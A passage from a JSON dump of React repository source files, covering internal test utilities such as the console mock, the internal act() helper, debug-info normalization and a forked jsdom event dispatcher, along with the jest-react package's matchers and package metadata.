`(e.g., \"Error: message\\\\n    in <stack>\").`,\n        );\n      }\n\n      // Any logs that are missing an error stack trace when \\n    in <stack> was expected.\n      if (unexpectedMissingErrorStack.length > 0) {\n        throwFormattedError(\n          `${unexpectedMissingErrorStack\n            .map(\n              stack =>\n                `Missing error stack trace for:\\n  ${printReceived(stack)}`,\n            )\n            .join(\n              '\\n\\n',\n            )}\\n\\nThe expected message uses \\\\n    in <stack> but the actual ${logName()} doesn't include an error stack trace.` +\n            `\\nIf this ${logName()} should not have an error stack trace, remove \\\\n    in <stack> from your expected message.`,\n        );\n      }\n\n      // Duplicate component stacks is a failure.\n      // This used to be a common mistake when creating new warnings,\n      // but might not be an issue anymore.\n      if (logsWithExtraComponentStack.length > 0) {\n        throwFormattedError(\n          logsWithExtraComponentStack\n            .map(\n              item =>\n                `Received more than one component stack for a warning:\\n  ${printReceived(\n                  item.format,\n                )}`,\n            )\n            .join('\\n\\n'),\n        );\n      }\n\n      // Using \\n    in <stack> for component stacks is a misuse.\n      // \\n    in <stack> should only be used for JavaScript Error stack traces,\n      // not for React component stacks.\n      if (stackTracePlaceholderMisuses.length > 0) {\n        throwFormattedError(\n          `${stackTracePlaceholderMisuses\n            .map(\n              item =>\n                `Incorrect use of \\\\n    in <stack> placeholder. The placeholder is for JavaScript Error ` +\n                `stack traces (messages starting with \"Error:\"), not for React component stacks.\\n\\n` +\n                `Expected: ${printReceived(item.expected)}\\n` +\n                `Received: ${printReceived(item.received)}\\n\\n` +\n                `If this ${logName()} has a component stack, include the full component stack in your expected message ` +\n                `(e.g., \"Warning message\\\\n    in ComponentName (at **)\").`,\n            )\n            .join('\\n\\n')}`,\n        );\n      }\n    }\n  };\n}\n"
  },
  {
    "path": "packages/internal-test-utils/debugInfo.js",
    "content": "'use strict';\n\ntype DebugInfoConfig = {\n  ignoreProps?: boolean,\n  ignoreRscStreamInfo?: boolean,\n  useFixedTime?: boolean,\n  useV8Stack?: boolean,\n};\n\nfunction formatV8Stack(stack) {\n  let v8StyleStack = '';\n  if (stack) {\n    for (let i = 0; i < stack.length; i++) {\n      const [name] = stack[i];\n      if (v8StyleStack !== '') {\n        v8StyleStack += '\\n';\n      }\n      v8StyleStack += '    in ' + name + ' (at **)';\n    }\n  }\n  return v8StyleStack;\n}\n\nfunction normalizeStack(stack) {\n  if (!stack) {\n    return stack;\n  }\n  const copy = [];\n  for (let i = 0; i < stack.length; i++) {\n    const [name, file, line, col, enclosingLine, enclosingCol] = stack[i];\n    copy.push([\n      name,\n      file.replace(__REACT_ROOT_PATH_TEST__, ''),\n      line,\n      col,\n      enclosingLine,\n      enclosingCol,\n    ]);\n  }\n  return copy;\n}\n\nfunction normalizeIOInfo(config: DebugInfoConfig, ioInfo) {\n  const {debugTask, debugStack, debugLocation, ...copy} = ioInfo;\n  if (ioInfo.stack) {\n    copy.stack = config.useV8Stack\n      ? formatV8Stack(ioInfo.stack)\n      : normalizeStack(ioInfo.stack);\n  }\n  if (ioInfo.owner) {\n    copy.owner = normalizeDebugInfo(config, ioInfo.owner);\n  }\n  if (typeof ioInfo.start === 'number' && config.useFixedTime) {\n    copy.start = 0;\n  }\n  if (typeof ioInfo.end === 'number' && config.useFixedTime) {\n    copy.end = 0;\n  }\n  const promise = ioInfo.value;\n  if (promise) {\n    promise.then(); // init\n    if (promise.status === 'fulfilled') {\n      if (ioInfo.name === 'rsc stream') {\n        copy.byteSize = 0;\n        copy.value = {\n          value: 'stream',\n        };\n      } else {\n        copy.value = {\n          value: promise.value,\n        };\n      }\n    } else if (promise.status === 'rejected') {\n      copy.value = {\n        reason: promise.reason,\n      };\n    } else {\n      copy.value = {\n        status: promise.status,\n      };\n    }\n  } else if ('value' in ioInfo) {\n    // If value exists in ioInfo but is undefined (e.g., WeakRef was GC'd),\n    // ensure we still include it in the normalized output for consistency\n    copy.value = {\n      value: undefined,\n    };\n  } else if (ioInfo.name && ioInfo.name !== 'rsc stream') {\n    // For non-rsc-stream IO that doesn't have a value field, add a default.\n    // This handles the case where the server doesn't send the field when WeakRef is GC'd.\n    copy.value = {\n      value: undefined,\n    };\n  }\n  return copy;\n}\n\nfunction normalizeDebugInfo(config: DebugInfoConfig, original) {\n  const {debugTask, debugStack, debugLocation, ...debugInfo} = original;\n  if (original.owner) {\n    debugInfo.owner = normalizeDebugInfo(config, original.owner);\n  }\n  if (original.awaited) {\n    debugInfo.awaited = normalizeIOInfo(config, original.awaited);\n  }\n  if (debugInfo.props && config.ignoreProps) {\n    debugInfo.props = {};\n  }\n  if (Array.isArray(debugInfo.stack)) {\n    debugInfo.stack = config.useV8Stack\n      ? formatV8Stack(debugInfo.stack)\n      : normalizeStack(debugInfo.stack);\n    return debugInfo;\n  } else if (typeof debugInfo.time === 'number' && config.useFixedTime) {\n    return {...debugInfo, time: 0};\n  } else {\n    return debugInfo;\n  }\n}\n\nexport function getDebugInfo(config: DebugInfoConfig, obj) {\n  const debugInfo = obj._debugInfo;\n  if (debugInfo) {\n    const copy = [];\n    for (let i = 0; i < debugInfo.length; i++) {\n      if (\n        debugInfo[i].awaited &&\n        debugInfo[i].awaited.name === 'rsc stream' &&\n        config.ignoreRscStreamInfo\n      ) {\n        // Ignore RSC stream I/O info.\n      } else {\n        copy.push(normalizeDebugInfo(config, debugInfo[i]));\n      }\n    }\n    return copy;\n  }\n  return debugInfo;\n}\n"
  },
  {
    "path": "packages/internal-test-utils/enqueueTask.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nconst {MessageChannel} = require('node:worker_threads');\n\nexport default function enqueueTask(task: () => void): void {\n  const channel = new MessageChannel();\n  // $FlowFixMe[prop-missing]\n  channel.port1.onmessage = () => {\n    channel.port1.close();\n    task();\n  };\n  channel.port2.postMessage(undefined);\n}\n"
  },
  {
    "path": "packages/internal-test-utils/index.js",
    "content": "export * from './ReactInternalTestUtils';\n"
  },
  {
    "path": "packages/internal-test-utils/internalAct.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow strict\n */\n\n// This version of `act` is only used by our tests. Unlike the public version\n// of `act`, it's designed to work identically in both production and\n// development. It may have slightly different behavior from the public\n// version, too, since our constraints in our test suite are not the same as\n// those of developers using React — we're testing React itself, as opposed to\n// building an app with React.\n\nimport type {Thenable} from 'shared/ReactTypes';\n\nimport * as Scheduler from 'scheduler/unstable_mock';\n\nimport enqueueTask from './enqueueTask';\nimport {assertConsoleLogsCleared} from './consoleMock';\nimport {diff} from 'jest-diff';\n\nexport let actingUpdatesScopeDepth: number = 0;\n\nexport const thrownErrors: Array<mixed> = [];\n\nasync function waitForMicrotasks() {\n  return new Promise(resolve => {\n    enqueueTask(() => resolve());\n  });\n}\n\nfunction aggregateErrors(errors: Array<mixed>): mixed {\n  if (errors.length > 1 && typeof AggregateError === 'function') {\n    return new AggregateError(errors);\n  }\n  return errors[0];\n}\n\nexport async function act<T>(scope: () => Thenable<T>): Thenable<T> {\n  if (Scheduler.unstable_flushUntilNextPaint === undefined) {\n    throw Error(\n      'This version of `act` requires a special mock build of Scheduler.',\n    );\n  }\n\n  const actualYields = Scheduler.unstable_clearLog();\n  if (actualYields.length !== 0) {\n    const error = Error(\n      'Log of yielded values is not empty. Call assertLog first.\\n\\n' +\n        `Received:\\n${diff('', actualYields.join('\\n'), {\n          omitAnnotationLines: true,\n        })}`,\n    );\n    Error.captureStackTrace(error, act);\n    throw error;\n  }\n\n  // We require every `act` call to assert console logs\n  // with one of the assertion helpers. Fails if not empty.\n  assertConsoleLogsCleared();\n\n  // $FlowFixMe[cannot-resolve-name]: Flow doesn't know about global Jest object\n  if (!jest.isMockFunction(setTimeout)) {\n    throw Error(\n      \"This version of `act` requires Jest's timer mocks \" +\n        '(i.e. jest.useFakeTimers).',\n    );\n  }\n\n  const previousIsActEnvironment = global.IS_REACT_ACT_ENVIRONMENT;\n  const previousActingUpdatesScopeDepth = actingUpdatesScopeDepth;\n  actingUpdatesScopeDepth++;\n  if (actingUpdatesScopeDepth === 1) {\n    // Because this is not the \"real\" `act`, we set this to `false` so React\n    // knows not to fire `act` warnings.\n    global.IS_REACT_ACT_ENVIRONMENT = false;\n  }\n\n  // Create the error object before doing any async work, to get a better\n  // stack trace.\n  const error = new Error();\n  Error.captureStackTrace(error, act);\n\n  // Call the provided scope function after an async gap. This is an extra\n  // precaution to ensure that our tests do not accidentally rely on the act\n  // scope adding work to the queue synchronously. We don't do this in the\n  // public version of `act`, though we maybe should in the future.\n  await waitForMicrotasks();\n\n  const errorHandlerDOM = function (event: ErrorEvent) {\n    // Prevent logs from reprinting this error.\n    event.preventDefault();\n    thrownErrors.push(event.error);\n  };\n  const errorHandlerNode = function (err: mixed) {\n    thrownErrors.push(err);\n  };\n  // We track errors that were logged globally as if they occurred in this scope and then rethrow them.\n  if (actingUpdatesScopeDepth === 1) {\n    if (\n      typeof window === 'object' &&\n      typeof window.addEventListener === 'function'\n    ) {\n      // We're in a JS DOM environment.\n      window.addEventListener('error', errorHandlerDOM);\n    } else if (typeof process === 'object') {\n      // Node environment\n      process.on('uncaughtException', errorHandlerNode);\n    }\n  }\n\n  try {\n    const result = await scope();\n\n    do {\n      // Wait until end of current task/microtask.\n      await waitForMicrotasks();\n\n      // $FlowFixMe[cannot-resolve-name]: Flow doesn't know about global Jest object\n      if (jest.isEnvironmentTornDown()) {\n        error.message =\n          'The Jest environment was torn down before `act` completed. This ' +\n          'probably means you forgot to `await` an `act` call.';\n        throw error;\n      }\n\n      if (!Scheduler.unstable_hasPendingWork()) {\n        // $FlowFixMe[cannot-resolve-name]: Flow doesn't know about global Jest object\n        const j = jest;\n        if (j.getTimerCount() > 0) {\n          // There's a pending timer. Flush it now. We only do this in order to\n          // force Suspense fallbacks to display; the fact that it's a timer\n          // is an implementation detail. If there are other timers scheduled,\n          // those will also fire now, too, which is not ideal. (The public\n          // version of `act` doesn't do this.) For this reason, we should try\n          // to avoid using timers in our internal tests.\n          j.runAllTicks();\n          j.runOnlyPendingTimers();\n          // If a committing a fallback triggers another update, it might not\n          // get scheduled until a microtask. So wait one more time.\n          await waitForMicrotasks();\n        }\n        if (Scheduler.unstable_hasPendingWork()) {\n          // Committing a fallback scheduled additional work. Continue flushing.\n        } else {\n          // There's no pending work, even after both the microtask queue\n          // and the timer queue are empty. Stop flushing.\n          break;\n        }\n      }\n      // flushUntilNextPaint stops when React yields execution. Allow microtasks\n      // queue to flush before continuing.\n      Scheduler.unstable_flushUntilNextPaint();\n    } while (true);\n\n    if (thrownErrors.length > 0) {\n      // Rethrow any errors logged by the global error handling.\n      const thrownError = aggregateErrors(thrownErrors);\n      thrownErrors.length = 0;\n      throw thrownError;\n    }\n\n    // $FlowFixMe[incompatible-return]\n    return result;\n  } finally {\n    const depth = actingUpdatesScopeDepth;\n    if (depth === 1) {\n      if (\n        typeof window === 'object' &&\n        typeof window.addEventListener === 'function'\n      ) {\n        // We're in a JS DOM environment.\n        window.removeEventListener('error', errorHandlerDOM);\n      } else if (typeof process === 'object') {\n        // Node environment\n        process.off('uncaughtException', errorHandlerNode);\n      }\n      global.IS_REACT_ACT_ENVIRONMENT = previousIsActEnvironment;\n    }\n    actingUpdatesScopeDepth = depth - 1;\n\n    if (actingUpdatesScopeDepth !== previousActingUpdatesScopeDepth) {\n      // if it's _less than_ previousActingUpdatesScopeDepth, then we can\n      // assume the 'other' one has warned\n      Scheduler.unstable_clearLog();\n      error.message =\n        'You seem to have overlapping act() calls, this is not supported. ' +\n        'Be sure to await previous act() calls before making a new one. ';\n      throw error;\n    }\n  }\n}\n\nasync function waitForTasksAndTimers(error: Error) {\n  do {\n    // Wait until end of current task/microtask.\n    await waitForMicrotasks();\n\n    // $FlowFixMe[cannot-resolve-name]: Flow doesn't know about global Jest object\n    if (jest.isEnvironmentTornDown()) {\n      error.message =\n        'The Jest environment was torn down before `act` completed. This ' +\n        'probably means you forgot to `await` an `act` call.';\n      throw error;\n    }\n\n    // $FlowFixMe[cannot-resolve-name]: Flow doesn't know about global Jest object\n    const j = jest;\n    if (j.getTimerCount() > 0) {\n      // There's a pending timer. Flush it now. We only do this in order to\n      // force Suspense fallbacks to display; the fact that it's a timer\n      // is an implementation detail. If there are other timers scheduled,\n      // those will also fire now, too, which is not ideal. (The public\n      // version of `act` doesn't do this.) For this reason, we should try\n      // to avoid using timers in our internal tests.\n      j.runAllTicks();\n      j.runOnlyPendingTimers();\n      // If a committing a fallback triggers another update, it might not\n      // get scheduled until a microtask. So wait one more time.\n      await waitForMicrotasks();\n    } else {\n      break;\n    }\n  } while (true);\n}\n\nexport async function serverAct<T>(scope: () => Thenable<T>): Thenable<T> {\n  // We require every `act` call to assert console logs\n  // with one of the assertion helpers. Fails if not empty.\n  assertConsoleLogsCleared();\n\n  // $FlowFixMe[cannot-resolve-name]: Flow doesn't know about global Jest object\n  if (!jest.isMockFunction(setTimeout)) {\n    throw Error(\n      \"This version of `act` requires Jest's timer mocks \" +\n        '(i.e. jest.useFakeTimers).',\n    );\n  }\n\n  // Create the error object before doing any async work, to get a better\n  // stack trace.\n  const error = new Error();\n  Error.captureStackTrace(error, act);\n\n  // Call the provided scope function after an async gap. This is an extra\n  // precaution to ensure that our tests do not accidentally rely on the act\n  // scope adding work to the queue synchronously. We don't do this in the\n  // public version of `act`, though we maybe should in the future.\n  await waitForMicrotasks();\n\n  const errorHandlerNode = function (err: mixed) {\n    thrownErrors.push(err);\n  };\n  // We track errors that were logged globally as if they occurred in this scope and then rethrow them.\n  if (typeof process === 'object') {\n    // Node environment\n    process.on('uncaughtException', errorHandlerNode);\n  } else if (\n    typeof window === 'object' &&\n    typeof window.addEventListener === 'function'\n  ) {\n    throw new Error('serverAct is not supported in JSDOM environments');\n  }\n\n  try {\n    const promise = scope();\n    // $FlowFixMe[prop-missing]\n    if (promise && typeof promise.catch === 'function') {\n      // $FlowFixMe[incompatible-use]\n      promise.catch(() => {}); // Handle below\n    }\n    // See if we need to do some work to unblock the promise first.\n    await waitForTasksAndTimers(error);\n    const result = await promise;\n    // Then wait to flush the result.\n    await waitForTasksAndTimers(error);\n\n    if (thrownErrors.length > 0) {\n      // Rethrow any errors logged by the global error handling.\n      const thrownError = aggregateErrors(thrownErrors);\n      thrownErrors.length = 0;\n      throw thrownError;\n    }\n\n    // $FlowFixMe[incompatible-return]\n    return result;\n  } finally {\n    if (typeof process === 'object') {\n      // Node environment\n      process.off('uncaughtException', errorHandlerNode);\n    }\n  }\n}\n"
  },
  {
    "path": "packages/internal-test-utils/package.json",
    "content": "{\n  \"private\": true,\n  \"name\": \"internal-test-utils\",\n  \"version\": \"0.0.0\"\n}\n"
  },
  {
    "path": "packages/internal-test-utils/shouldIgnoreConsoleError.js",
    "content": "'use strict';\n\nmodule.exports = function shouldIgnoreConsoleError(format, args) {\n  if (__DEV__) {\n    if (typeof format === 'string') {\n      if (format.startsWith('%c%s')) {\n        // Looks like a badged error message\n        args.splice(0, 3);\n      }\n      if (\n        args[0] != null &&\n        ((typeof args[0] === 'object' &&\n          typeof args[0].message === 'string' &&\n          // This specific log has the same signature as error logging.\n          // The trick is to get rid of this whole file.\n          !format.includes('Failed to serialize an action') &&\n          typeof args[0].stack === 'string') ||\n          (typeof args[0] === 'string' &&\n            args[0].indexOf('An error occurred in ') === 0))\n      ) {\n        // This looks like an error with addendum from ReactFiberErrorLogger.\n        // They are noisy too so we'll try to ignore them.\n        return true;\n      }\n      if (\n        format.indexOf('ReactDOM.render was removed in React 19') !== -1 ||\n        format.indexOf('ReactDOM.hydrate was removed in React 19') !== -1 ||\n        format.indexOf(\n          'ReactDOM.render has not been supported since React 18',\n        ) !== -1 ||\n        format.indexOf(\n          'ReactDOM.hydrate has not been supported since React 18',\n        ) !== -1 ||\n        format.indexOf('react-test-renderer is deprecated.') !== -1\n      ) {\n        // We haven't finished migrating our tests to use createRoot.\n        return true;\n      }\n    }\n  } else {\n    if (\n      format != null &&\n      typeof format.message === 'string' &&\n      typeof format.stack === 'string' &&\n      args.length === 0\n    ) {\n      // In production, ReactFiberErrorLogger logs error objects directly.\n      // They are noisy too so we'll try to ignore them.\n      return true;\n    }\n  }\n  // Looks legit\n  return false;\n};\n"
  },
  {
    "path": "packages/internal-test-utils/shouldIgnoreConsoleWarn.js",
    "content": "'use strict';\n\nmodule.exports = function shouldIgnoreConsoleWarn(format) {\n  return false;\n};\n"
  },
  {
    "path": "packages/internal-test-utils/simulateBrowserEventDispatch.js",
    "content": "const DOMException = require('domexception/webidl2js-wrapper');\nconst {nodeRoot} = require('jsdom/lib/jsdom/living/helpers/node');\nconst reportException = require('jsdom/lib/jsdom/living/helpers/runtime-script-errors');\nconst {\n  isNode,\n  isShadowRoot,\n  isSlotable,\n  getEventTargetParent,\n  isShadowInclusiveAncestor,\n  retarget,\n} = require('jsdom/lib/jsdom/living/helpers/shadow-dom');\n\nconst {waitForMicrotasks} = require('./ReactInternalTestUtils');\n\nconst EVENT_PHASE = {\n  NONE: 0,\n  CAPTURING_PHASE: 1,\n  AT_TARGET: 2,\n  BUBBLING_PHASE: 3,\n};\n\n// Hack to get Symbol(wrapper) for target nodes.\nlet wrapperSymbol;\nfunction wrapperForImpl(impl) {\n  if (impl == null) {\n    return null;\n  }\n\n  return impl[wrapperSymbol];\n}\n\n// This is a forked implementation of the jsdom dispatchEvent. The goal of\n// this fork is to match the actual browser behavior of user events more closely.\n// Real browser events yield to microtasks in-between event handlers, which is\n// different from programmatically calling dispatchEvent (which does not yield).\n// JSDOM correctly implements programmatic dispatchEvent, but sometimes we need\n// to test the behavior of real user interactions, so we simulate it.\n//\n// It's async because we need to wait for microtasks between event handlers.\n//\n// Taken from:\n// https://github.com/jsdom/jsdom/blob/2f8a7302a43fff92f244d5f3426367a8eb2b8896/lib/jsdom/living/events/EventTarget-impl.js#L88\nasync function simulateEventDispatch(eventImpl) {\n  if (eventImpl._dispatchFlag || !eventImpl._initializedFlag) {\n    throw DOMException.create(this._globalObject, [\n      'Tried to dispatch an uninitialized event',\n      'InvalidStateError',\n    ]);\n  }\n  if (eventImpl.eventPhase !== EVENT_PHASE.NONE) {\n    throw DOMException.create(this._globalObject, [\n      'Tried to dispatch a dispatching event',\n      'InvalidStateError',\n    ]);\n  }\n\n  eventImpl.isTrusted = false;\n\n  await _dispatch.call(this, eventImpl);\n}\n\nasync function _dispatch(eventImpl, legacyTargetOverrideFlag) {\n  // Hack: save the wrapper Symbol.\n  wrapperSymbol = Object.getOwnPropertySymbols(eventImpl)[0];\n\n  let targetImpl = this;\n  let clearTargets = false;\n  let activationTarget = null;\n\n  eventImpl._dispatchFlag = true;\n\n  const targetOverride = legacyTargetOverrideFlag\n    ? wrapperForImpl(targetImpl._globalObject._document)\n    : targetImpl;\n  let relatedTarget = retarget(eventImpl.relatedTarget, targetImpl);\n\n  if (targetImpl !== relatedTarget || targetImpl === eventImpl.relatedTarget) {\n    const touchTargets = [];\n\n    appendToEventPath(\n      eventImpl,\n      targetImpl,\n      targetOverride,\n      relatedTarget,\n      touchTargets,\n      false,\n    );\n\n    const isActivationEvent = false; // TODO Not ported in fork.\n\n    if (isActivationEvent && targetImpl._hasActivationBehavior) {\n      activationTarget = targetImpl;\n    }\n\n    let slotInClosedTree = false;\n    let slotable =\n      isSlotable(targetImpl) && targetImpl._assignedSlot ? targetImpl : null;\n    let parent = getEventTargetParent(targetImpl, eventImpl);\n\n    // Populate event path\n    // https://dom.spec.whatwg.org/#event-path\n    while (parent !== null) {\n      if (slotable !== null) {\n        if (parent.localName !== 'slot') {\n          throw new Error(`JSDOM Internal Error: Expected parent to be a Slot`);\n        }\n\n        slotable = null;\n\n        const parentRoot = nodeRoot(parent);\n        if (isShadowRoot(parentRoot) && parentRoot.mode === 'closed') {\n          slotInClosedTree = true;\n        }\n      }\n\n      if (isSlotable(parent) && parent._assignedSlot) {\n        slotable = parent;\n      }\n\n      relatedTarget = retarget(eventImpl.relatedTarget, parent);\n\n      if (\n        (isNode(parent) &&\n          isShadowInclusiveAncestor(nodeRoot(targetImpl), parent)) ||\n        wrapperForImpl(parent).constructor.name === 'Window'\n      ) {\n        if (\n          isActivationEvent &&\n          eventImpl.bubbles &&\n          activationTarget === null &&\n          parent._hasActivationBehavior\n        ) {\n          activationTarget = parent;\n        }\n\n        appendToEventPath(\n          eventImpl,\n          parent,\n          null,\n          relatedTarget,\n          touchTargets,\n          slotInClosedTree,\n        );\n      } else if (parent === relatedTarget) {\n        parent = null;\n      } else {\n        targetImpl = parent;\n\n        if (\n          isActivationEvent &&\n          activationTarget === null &&\n          targetImpl._hasActivationBehavior\n        ) {\n          activationTarget = targetImpl;\n        }\n\n        appendToEventPath(\n          eventImpl,\n          parent,\n          targetImpl,\n          relatedTarget,\n          touchTargets,\n          slotInClosedTree,\n        );\n      }\n\n      if (parent !== null) {\n        parent = getEventTargetParent(parent, eventImpl);\n      }\n\n      slotInClosedTree = false;\n    }\n\n    let clearTargetsStructIndex = -1;\n    for (\n      let i = eventImpl._path.length - 1;\n      i >= 0 && clearTargetsStructIndex === -1;\n      i--\n    ) {\n      if (eventImpl._path[i].target !== null) {\n        clearTargetsStructIndex = i;\n      }\n    }\n    const clearTargetsStruct = eventImpl._path[clearTargetsStructIndex];\n\n    clearTargets =\n      (isNode(clearTargetsStruct.target) &&\n        isShadowRoot(nodeRoot(clearTargetsStruct.target))) ||\n      (isNode(clearTargetsStruct.relatedTarget) &&\n        isShadowRoot(nodeRoot(clearTargetsStruct.relatedTarget)));\n\n    if (\n      activationTarget !== null &&\n      activationTarget._legacyPreActivationBehavior\n    ) {\n      activationTarget._legacyPreActivationBehavior();\n    }\n\n    for (let i = eventImpl._path.length - 1; i >= 0; --i) {\n      const struct = eventImpl._path[i];\n\n      if (struct.target !== null) {\n        eventImpl.eventPhase = EVENT_PHASE.AT_TARGET;\n      } else {\n        eventImpl.eventPhase = EVENT_PHASE.CAPTURING_PHASE;\n      }\n\n      await invokeEventListeners(struct, eventImpl, 'capturing');\n    }\n\n    for (let i = 0; i < eventImpl._path.length; i++) {\n      const struct = eventImpl._path[i];\n\n      if (struct.target !== null) {\n        eventImpl.eventPhase = EVENT_PHASE.AT_TARGET;\n      } else {\n        if (!eventImpl.bubbles) {\n          continue;\n        }\n\n        eventImpl.eventPhase = EVENT_PHASE.BUBBLING_PHASE;\n      }\n\n      await invokeEventListeners(struct, eventImpl, 'bubbling');\n    }\n  }\n\n  eventImpl.eventPhase = EVENT_PHASE.NONE;\n\n  eventImpl.currentTarget = null;\n  eventImpl._path = [];\n  eventImpl._dispatchFlag = false;\n  eventImpl._stopPropagationFlag = false;\n  eventImpl._stopImmediatePropagationFlag = false;\n\n  if (clearTargets) {\n    eventImpl.target = null;\n    eventImpl.relatedTarget = null;\n  }\n\n  if (activationTarget !== null) {\n    if (!eventImpl._canceledFlag) {\n      activationTarget._activationBehavior(eventImpl);\n    } else if (activationTarget._legacyCanceledActivationBehavior) {\n      activationTarget._legacyCanceledActivationBehavior();\n    }\n  }\n\n  return !eventImpl._canceledFlag;\n}\n\nasync function invokeEventListeners(struct, eventImpl, phase) {\n  const structIndex = eventImpl._path.indexOf(struct);\n  for (let i = structIndex; i >= 0; i--) {\n    const t = eventImpl._path[i];\n    if (t.target) {\n      eventImpl.target = t.target;\n      break;\n    }\n  }\n\n  eventImpl.relatedTarget = wrapperForImpl(struct.relatedTarget);\n\n  if (eventImpl._stopPropagationFlag) {\n    return;\n  }\n\n  eventImpl.currentTarget = wrapperForImpl(struct.item);\n\n  const listeners = struct.item._eventListeners;\n  await innerInvokeEventListeners(\n    eventImpl,\n    listeners,\n    phase,\n    struct.itemInShadowTree,\n  );\n}\n\nasync function innerInvokeEventListeners(\n  eventImpl,\n  listeners,\n  phase,\n  itemInShadowTree,\n) {\n  let found = false;\n\n  const {type, target} = eventImpl;\n  const wrapper = wrapperForImpl(target);\n\n  if (!listeners || !listeners[type]) {\n    return found;\n  }\n\n  // Copy event listeners before iterating since the list can be modified during the iteration.\n  const handlers = listeners[type].slice();\n\n  for (let i = 0; i < handlers.length; i++) {\n    const listener = handlers[i];\n    const {capture, once, passive} = listener.options;\n\n    // Check if the event listener has been removed since the listeners has been cloned.\n    if (!listeners[type].includes(listener)) {\n      continue;\n    }\n\n    found = true;\n\n    if (\n      (phase === 'capturing' && !capture) ||\n      (phase === 'bubbling' && capture)\n    ) {\n      continue;\n    }\n\n    if (once) {\n      listeners[type].splice(listeners[type].indexOf(listener), 1);\n    }\n\n    let window = null;\n    if (wrapper && wrapper._document) {\n      // Triggered by Window\n      window = wrapper;\n    } else if (target._ownerDocument) {\n      // Triggered by most webidl2js'ed instances\n      window = target._ownerDocument._defaultView;\n    } else if (wrapper._ownerDocument) {\n      // Currently triggered by some non-webidl2js things\n      window = wrapper._ownerDocument._defaultView;\n    }\n\n    let currentEvent;\n    if (window) {\n      currentEvent = window._currentEvent;\n      if (!itemInShadowTree) {\n        window._currentEvent = eventImpl;\n      }\n    }\n\n    if (passive) {\n      eventImpl._inPassiveListenerFlag = true;\n    }\n\n    try {\n      listener.callback.call(eventImpl.currentTarget, eventImpl);\n    } catch (e) {\n      if (window) {\n        reportException(window, e);\n      }\n      // Errors in window-less documents just get swallowed... can you think of anything better?\n    }\n\n    eventImpl._inPassiveListenerFlag = false;\n\n    if (window) {\n      window._currentEvent = currentEvent;\n    }\n\n    if (eventImpl._stopImmediatePropagationFlag) {\n      return found;\n    }\n\n    // IMPORTANT: Flush microtasks\n    await waitForMicrotasks();\n  }\n\n  return found;\n}\n\nfunction appendToEventPath(\n  eventImpl,\n  target,\n  targetOverride,\n  relatedTarget,\n  touchTargets,\n  slotInClosedTree,\n) {\n  const itemInShadowTree = isNode(target) && isShadowRoot(nodeRoot(target));\n  const rootOfClosedTree = isShadowRoot(target) && target.mode === 'closed';\n\n  eventImpl._path.push({\n    item: target,\n    itemInShadowTree,\n    target: targetOverride,\n    relatedTarget,\n    touchTargets,\n    rootOfClosedTree,\n    slotInClosedTree,\n  });\n}\n\nexport default simulateEventDispatch;\n"
  },
  {
    "path": "packages/jest-react/README.md",
    "content": "# `jest-react`\n\nJest matchers and utilities for testing React Test Renderer."
  },
  {
    "path": "packages/jest-react/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nexport * from './src/JestReact';\n"
  },
  {
    "path": "packages/jest-react/npm/index.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/jest-react.production.js');\n} else {\n  module.exports = require('./cjs/jest-react.development.js');\n}\n"
  },
  {
    "path": "packages/jest-react/package.json",
    "content": "{\n  \"name\": \"jest-react\",\n  \"version\": \"0.17.0\",\n  \"description\": \"Jest matchers and utilities for testing React components.\",\n  \"main\": \"index.js\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"https://github.com/facebook/react.git\",\n    \"directory\": \"packages/jest-react\"\n  },\n  \"keywords\": [\n    \"react\",\n    \"jest\",\n    \"react-testing\"\n  ],\n  \"license\": \"MIT\",\n  \"bugs\": {\n    \"url\": \"https://github.com/facebook/react/issues\"\n  },\n  \"homepage\": \"https://react.dev/\",\n  \"peerDependencies\": {\n    \"jest\": \"^23.0.1 || ^24.0.0 || ^25.1.0 || ^26.0.0 || ^27.0.0 || ^28.0.0 || ^29.0.0\",\n    \"react\": \"^19.0.0\",\n    \"react-test-renderer\": \"^19.0.0\"\n  },\n  \"files\": [\n    \"LICENSE\",\n    \"README.md\",\n    \"index.js\",\n    \"cjs/\"\n  ]\n}\n"
  },
  {
    "path": "packages/jest-react/src/JestReact.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {REACT_ELEMENT_TYPE, REACT_FRAGMENT_TYPE} from 'shared/ReactSymbols';\nconst {assertConsoleLogsCleared} = require('internal-test-utils/consoleMock');\n\nimport isArray from 'shared/isArray';\n\nfunction captureAssertion(fn) {\n  // Trick to use a Jest matcher inside another Jest matcher. `fn` contains an\n  // assertion; if it throws, we capture the error and return it, so the stack\n  // trace presented to the user points to the original assertion in the\n  // test file.\n  try {\n    fn();\n  } catch (error) {\n    return {\n      pass: false,\n      message: () => error.message,\n    };\n  }\n  return {pass: true};\n}\n\nfunction assertYieldsWereCleared(root) {\n  const Scheduler = root._Scheduler;\n  const actualYields = Scheduler.unstable_clearLog();\n  if (actualYields.length !== 0) {\n    const error = Error(\n      'Log of yielded values is not empty. ' +\n        'Call expect(ReactTestRenderer).unstable_toHaveYielded(...) first.',\n    );\n    Error.captureStackTrace(error, assertYieldsWereCleared);\n    throw error;\n  }\n  assertConsoleLogsCleared();\n}\n\nfunction createJSXElementForTestComparison(type, props) {\n  if (__DEV__) {\n    const element = {\n      $$typeof: REACT_ELEMENT_TYPE,\n      type: type,\n      key: null,\n      props: props,\n      _owner: null,\n      _store: __DEV__ ? {} : undefined,\n    };\n    Object.defineProperty(element, 'ref', {\n      enumerable: false,\n      value: null,\n    });\n    return element;\n  } else {\n    return {\n      $$typeof: REACT_ELEMENT_TYPE,\n      type: type,\n      key: null,\n      ref: null,\n      props: props,\n    };\n  }\n}\n\nexport function unstable_toMatchRenderedOutput(root, expectedJSX) {\n  assertYieldsWereCleared(root);\n  const actualJSON = root.toJSON();\n\n  let actualJSX;\n  if (actualJSON === null || typeof actualJSON === 'string') 